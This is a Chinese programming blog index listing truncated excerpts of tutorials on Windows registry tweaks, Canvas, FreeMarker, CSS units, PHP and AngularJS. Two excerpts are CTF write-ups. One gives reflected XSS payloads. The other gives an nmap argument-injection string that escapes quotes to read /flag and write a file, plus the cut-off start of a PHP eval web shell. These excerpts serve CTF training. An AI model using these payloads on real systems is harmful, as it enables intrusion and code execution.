Apr272022
windows 鼠标右键添加 管理员打开CMD
Windows Registry Editor Version 5.00
; Created by: Shawn Brink
; http://www.sevenforums.com
; Tutorial: http://www.sevenforums.com/tutorials/47415-open-command-window-here-administrator.html
[-HKEY_CLASSES_ROOT\Directory\shell\runas]
[HKEY_CLASSES_ROOT\Directory\shell\runas]
@=”Open cmd here as Admin”
 ...阅读全文
抢沙发
Apr212022
使用Canvas绘制精美的图形和动画
Canvas 是一个 HTML5 元素,可用于在网页上绘制图形和动画。它为开发者提供了强大的工具,可以创造出各种精美的效果和交互。
基本使用
要使用 Canvas,首先需要在 HTML 中创建一个 Canvas 元素:
<canvas id="myCanvas"></canvas>
然后,通过 JavaScript 获取该元素,并获取绘图上下文:
var canvas = document.getElementById("myCanvas");
var ctx = canvas.getContext("2...阅读全文
Apr172022
FreeMarker在Spring MVC中的集成与应用
简介
FreeMarker是一个功能强大的模板引擎,它能够生成各种静态文件,如HTML、XML、CSS等,也可以用于生成动态内容,如邮件模板、报表等。Spring MVC是一种基于MVC模式的Web框架,用于开发灵活、可扩展的Web应用程序。本文将介绍如何在Spring MVC中集成和应用FreeMarker。
步骤
1. 添加依赖
首先,需要在项目的Maven或Gradle配置文件中添加FreeMarker的依赖。在Maven项目中,可以在pom.xm...阅读全文
Apr082022
CTFHub_N1Book-XSS闯关(XSS)
N1Book-第二章Web进阶-XSS的魔力-XSS闯关
第一关
简单的反射xss
前端代码
<div<span>welcome xss</span></div>
payload
/level1?username=xss<script>alert(1)</script>
/level1?username=xss%3Csvg/onload=alert()
第二关
输出点在script中,闭合好语句即可
前端代码
<script type="text/javascript">
if(location.search == ""){
...阅读全文
Apr052022
Apr032022
响应式网页设计:利用REM和EM单位(响应式设计&单位)
在如今多种设备尺寸各异的时代,网页设计需要适应各种不同大小的屏幕,才能提供良好的用户体验。响应式网页设计(Responsive Web Design)应运而生,它可以根据设备的屏幕尺寸自动调整网页布局和元素大小,以适应不同的屏幕大小。
为了实现响应式网页设计,我们需要使用合适的单位来表示网页元素的大小。而在这方面,REM和EM单位是两种常用且值得探讨的选择。
1. REM单位
REM(Root EM)...阅读全文
Mar282022
AI大模型应用开发技术预研:LangChain与TensorFlow集成实现智能对话系统
AI大模型应用开发技术预研:LangChain与TensorFlow集成实现智能对话系统
摘要
随着人工智能技术的快速发展,大语言模型(LLM)在自然语言处理领域展现出巨大潜力。本文通过技术预研的方式,深入分析了LangChain框架与TensorFlow的集成方案,探讨构建企业级智能对话系统的可行性。文章从模型选择、Prompt工程、上下文管理、知识库集成等关键技术角度出发,结合实际代码示例,为开发者提供...阅读全文
Mar272022
PHP常见的运行模式
关于PHP目前比较常见的五大运行模式:
1)CGI(通用网关接口/ Common Gateway Interface)
2)FastCGI(常驻型CGI / Long-Live CGI)
3)CLI(命令行运行 / Command Line Interface)
4)Web模块模式(Apache等Web服务器运行的模式)
5)ISAPI(Internet Server Application Program Interface)
备注:在PHP5.3以后,PHP不再有ISAPI模式,安装后也不再有php5isapi.dll这个文件。要在IIS6...阅读全文
Mar272022
AngularJS中的指令操作解析
AngularJS是一个功能强大的JavaScript框架,它可以帮助开发者快速构建动态Web应用程序。其中一个重要的概念就是指令(Directives),它可以让开发者通过自定义HTML标签、属性或类来扩展HTML语法,实现更加灵活和功能丰富的页面操作。
什么是指令
指令是AngularJS中的一个核心概念,它允许开发者创建自定义的HTML元素、属性或类,以便在页面上添加新的行为或功能。指令通常定义了一个模板...阅读全文
Mar182022
CTFHub_2020-网鼎杯-朱雀组-Web-nmap(单引号逃逸、nmap写文件)
进入场景,显示如下
F12发现注释中的提示
<!-- flag is in /flag -->
本题考察 单引号逃逸 和 nmap写文件,与[BUUCTF 2018]Online Tool类似
直接使用里面的paload
利用方式一
payload
' -iL /flag -oN flag.txt '
执行payload,将根目录下的flag文件内容作为扫描目标,并将扫描结果重定向到flag.txt文件中
访问该文件,成功拿到flag
利用方式二
payload
' <?php @eval($_P...阅读全文